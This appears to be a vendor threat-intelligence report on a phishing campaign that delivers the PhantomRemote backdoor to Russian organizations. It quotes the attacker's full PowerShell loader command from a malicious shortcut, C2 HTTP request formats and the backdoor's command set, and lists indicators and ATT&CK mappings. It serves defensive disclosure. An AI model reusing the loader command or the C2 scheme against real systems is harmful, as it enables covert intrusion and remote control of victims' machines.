Rainbow Hyena strikes again: new backdoor and shift in tactics
In late June, BI.ZONE Mail Security detected a wave of phishing emails with malicious attachments distributed among Russian companies. The campaign targeted healthcare and IT organizations. The adversaries used compromised email addresses of legitimate organizations to send these messages.
After thorough analysis of the malicious files, BI.ZONE Threat Intelligence concluded that the attacks were carried out by the Rainbow Hyena cluster. We also identified a new tool in the threat actor’s arsenal—a custom-built backdoor PhantomRemote.
- Attackers use masquerading techniques, such as polyglot files
, to increase their chances of bypassing email filters and successfully delivering phishing emails. - The distribution of malicious documents has largely been abandoned in favor of alternative formats like LNK files.
- Hacktivist groups are increasingly shifting toward more conventional illicit activities such as espionage and financial gain while adopting more sophisticated methods and tools.
The adversaries used legitimate addresses of compromised organizations to distribute phishing emails with subject lines such as Транспортная накладная ТТН № 391-44 от 26.06.2025 and Договор РН83-371 (Waybill WB No. 391-44 dated June 26, 2025, and Contract PH83-371, respectively).
The messages included .zip polyglot attachments, which were PE32+ DLLs (dynamic link libraries) concealing a decoy and a ZIP archive with an LNK file.
The LNK file within the ZIP executes the following sequence:
- Searches for a
.zippolyglot file:- in the current execution directory
- recursively in the
%USERPROFILE%directory - recursively in the
%TEMP%directory
rundll32.exe, calling the exported EntryPoint function.%TEMP%.cmd /c start.Here is a command example from Договор_РН83_37_изменения.pdf.lnk:
powershell.exe -WindowStyle hidden -c "$r=$(Get-Location).Path + '\Договор_РН83_37_изменения.zip';if(Test-Path $r) { rundll32.exe $r,EntryPoint; } else { $f=$(Get-ChildItem -Path '%userprofile%' -Recurse -Filter'Договор_РН83_37_изменения.zip' | Select-Object-First 1); if($f) { $r=$f.FullName; rundll32.exe$f.FullName,EntryPoint; }; };if(-Not (Test-Path $r)) { $r=$(Get-ChildItem -Path '%temp%' -Recurse -Filter"Договор_РН83_37_изменения.zip" | Select-Object -First 1).FullName; }; [System.IO.File]::WriteAllBytes([System.IO.Path]::Combine('%temp%', 'Договор_РН83_37_изменения.pdf'), ([System.IO.File]::ReadAllBytes($r) | Select-Object -Skip 1107968 -First 3280549)); cmd /c start /B$([System.IO.Path]::Combine('%temp%', 'Договор_РН83_37_изменения.pdf'));
Транспортная_накладная_ТТН_№ 391-44_от_26.06.2025.xls
PhantomRemote backdoor is a PE32+ DLL file created in C++. The backdoor collects information about the compromised system, loads other executables from the C2 server, and runs commands via the cmd.exe interpreter.
The malicious code is concealed within DllMain. The exported EntryPoint function checks the value of a global variable. If the value is 1, the function enters an infinite loop, repeatedly calling Sleep() for 5 seconds.
PhantomRemote collects information and creates a dedicated working directory for loaded additional files. The backdoor performs the following sequence:
- Retrieves GUID via
CoCreateGuid(). In case of a failure, inserts theUNKNOWNline. - Obtains a computer name via
GetComputerNameW(). In case of a failure, inserts theUNKNOWNline. - Retrieves a domain name via
GetComputerNameExW(ComputerNameDnsDomain). In case of a failure, inserts theUNKNOWNline. - Creates a working directory in
%PROGRAMDATA%. In PhantomRemote samples, this directory is named either%PROGRAMDATA%\YandexCloudor%PROGRAMDATA%\MicrosoftAppStore.
After collecting initial information about the compromised system, the backdoor establishes a connection with the C2 server. The communication is carried out over HTTP, using GET and POST requests. The malware generates a GET request and accesses a URL in the following format:
91.239.148[.]21/poll?id=&hostname= &domain=
This URL is used to transmit the compromised system data collected by PhantomRemote.
A GET request may look as follows:
GET poll?id=&hostname= &domain= HTTP/1.1 Host: 91.239.148[.]21 User-Agent: YandexCloud/1.0
During communication with the C2 server, the backdoor uses the User-Agent header strings YandexUpdate/1.0 or MicrosoftAppStore/2001.0.
After the initial network request to the C2 server, PhantomRemote can receive the following commands:
| Command format | Description |
|---|---|
cmd:<cmdCommand>|<commandID> |
Executes |
download:<URL>|<commandID> |
Downloads a file using the URL specified in the command. The file is saved to the working directory created earlier, its name extracted from the URL. The download relies on the WinAPI functions of |
After executing a command, PhantomRemote sends a response in the form of a POST request to the C2 server:
POST /result HTTP/1.1 Host: 91.239.148[.]21 User-Agent: YandexCloud/1.0 Content-Type: application/x-www-form-urlencoded
id=&hostname= &domain= &result= &commandId=
If a C2 command is to download a file from the specified URL, there are two possible outcomes:
- If the download is successful, the following response is sent to the C2 server:
POST /result HTTP/1.1 Host: 91.239.148[.]21 User-Agent: YandexCloud/1.0 Content-Type: application/x-www-form-urlencoded
id=
&hostname= &domain= &result=Download successful: %PROGRAMDATA%\YandexCloud\ &commandId= - If the download fails, the following response is sent:
POST /result HTTP/1.1 Host: 91.239.148[.]21 User-Agent: YandexCloud/1.0 Content-Type: application/x-www-form-urlencoded
id=
&hostname= &domain= &result=Download failed: &commandId=
After executing the commands, the backdoor invokes Sleep() for 10 seconds. If any stage of the connection process fails, the malware instead invokes Sleep() for 1 second.
Договор_РН83_37_изменения.zip
75a26a138783032ee18dcfc713b1b34c04d364d7cc98379352e89757d62521271cb410cbed9b24a77a74cd34c96b30f8de794fe85eb1d9f188f516bd7d6020cc81a86728
Договор_РН83_изменения.zip
7e52be17fd33a281c70fec14805113a86942e07e7d08781cba571211a08e779838e72e9a204544fc8a8cac64bb07825a7bd58c54cb3e605707e2d72206ac23a1657bfe1e
Транспортная_накладная_ТТН_№391-44_от_26.06.2025.zip
be990a49fa1e3789ebc5c55961038029851157c01da6e85ffa94ded7f42cab19aa8528d601f12bb3f4359fae1138a194237914f4fcdbf9e472804e428a765ad820f399beb586cf958334415777719bf512304fbd775b7e726ba6cf6d9a6463a62797c976120180664c78d6bba282aaff0eab749cfa8a28e432f7cbf9c61dec8de8f4800fd27e031465967d019076e700deb20dcbc989c99c49a18dc1d8f84394d3373481dbac89d11e373dbd413c9e2963b8cca256d3960285854614e2f2e78dba023713b3dd67af369d5d08b49a7ef89cfb317a540996c3425fcdc2d9a4fd39a55cd20d55e00d3cace3f637b8888213b683235791e3106971269259026e05fdc2a4008f703ff2a4d32642877e57429a698337a1be374f3ebb9556ccdc794389dc149c042747ddf4f58c7ac6bf23e6a02ce1fc77e3e3f7d9abb9696904684d8e32f36818e1939c8122dcc73299a1b7f6b6b700b288453eb954669b5c7ac712ecf1e0179c2a14a9dd1032479ab5bf8ed945ef9a22ebd4999d4d4304d7ad1a8d0dacb300739d4dcaade299b28f8be3f171628a7358720ca6c508a92ba1d1d9e5c498dcaf53af7cd071c52d70b92e41db70d4ca342c8dc32eff7883c861a9324a1fa529e5c115232cbbc60330d37cef5c20860bafc63b11e14d1e75697c1dff0bcf719f3509c597a8955e49af384ce5e6e0b21323409db8cd8ed2a7ed251656d18a47262571a87e70238bd6afd376560e9cfdc94bfacae72f36b6aa9fb6e769eb9c1dff0bcf719f3509c597a8955e49af384ce5e6e0b21323409db8cd8ed2a7ed251656d18a47262571a87e70238bd6afd376560e9cfdc94bfacae72f36b6aa9fb6e769eb9c9f8e2e09e37142a21c16b37ba310e009efe10ad0b49e6889597b5c3254139b92ed72064cda53c49641b05e00cde09d47260da927ec403f01ac388605b785eac98306f9c2185.225.17[.]104188.127.254[.]4491.239.148[.]21
Договор_РН83_изменения.zip
Договор_РН83_37_изменения.pdf.lnk
Транспортная_накладная_ТТН_№391-44_от_26.06.2025.xls.lnk
Договор_РН83_изменения.pdf.lnk
%TEMP%\Договор_РН83_37_изменения.pdf
%TEMP%\Договор_РН83_изменения.pdf
%TEMP%\Транспортная_накладная_ТТН_№391-44_от_26.06.2025.xls
| Tactic | Technique | Procedure |
|---|---|---|
| Initial Access |
Phishing: Spearphishing Attachment |
Rainbow Hyena uses phishing email attachments to distribute malware |
| Execution |
Command and Scripting Interpreter: PowerShell |
Rainbow Hyena uses a malicious LNK file to execute the PowerShell command |
|
Command and Scripting Interpreter: Windows Command Shell |
Rainbow Hyena uses Rainbow Hyena leverages PhantomRemote to execute commands issued by the C2 server through the |
|
|
Native API |
Rainbow Hyena uses WinAPI functions in PhantomRemote to:
|
|
|
User Execution: Malicious File |
The victim must execute a malicious LNK file to initiate the system compromise |
|
| Defense Evasion |
Hide Artifacts: Hidden Window |
Rainbow Hyena uses |
|
Masquerading: Masquerade File Type |
Rainbow Hyena employs malicious polyglot files, which are read differently by the system when their extensions are changed |
|
|
Obfuscated Files or Information |
Rainbow Hyena uses a polyglot file that contains a decoy |
|
|
System Binary Proxy Execution: Rundll32 |
Rainbow Hyena leverages |
|
| Discovery |
System Information Discovery |
Rainbow Hyena uses PhantomRemote to collect information about the compromised system, including computer and domain names |
|
System Owner/User Discovery |
Rainbow Hyena uses PhantomRemote to retrieve a victim’s computer name |
|
| Command and Control |
Application Layer Protocol: Web Protocols |
Rainbow Hyena uses HTTP to communicate with the C2 server |
|
Ingress Tool Transfer |
Rainbow Hyena leverages PhantomRemote to download files using URLs concealed within the C2 server commands |
|
| Exfiltration |
Exfiltration Over C2 Channel |
Rainbow Hyena uses PhantomRemote to transmit the results of command executions back to the C2 server |
Phishing is one of the most popular attack vectors against organizations. You can leverage dedicated services such as BI.ZONE Mail Security to filter out unwanted messages and protect your email communications. The solution carefully examines every incoming message to identify and block illegitimate content. BI.ZONE Mail Security uses over 600 filtering mechanisms based on machine learning, statistical, signature, and heuristic analysis. This kind of inspection does not slow down the delivery of secure emails.
Attacks similar to those by Rainbow Hyena are not only critical to detect but also to neutralize before they affect the infrastructure. To protect your company against advanced threats, we recommend implementing endpoint detection and response practices, for instance, BI.ZONE EDR. The service enables early detection of attacks and immediate incident response, either automated or manual.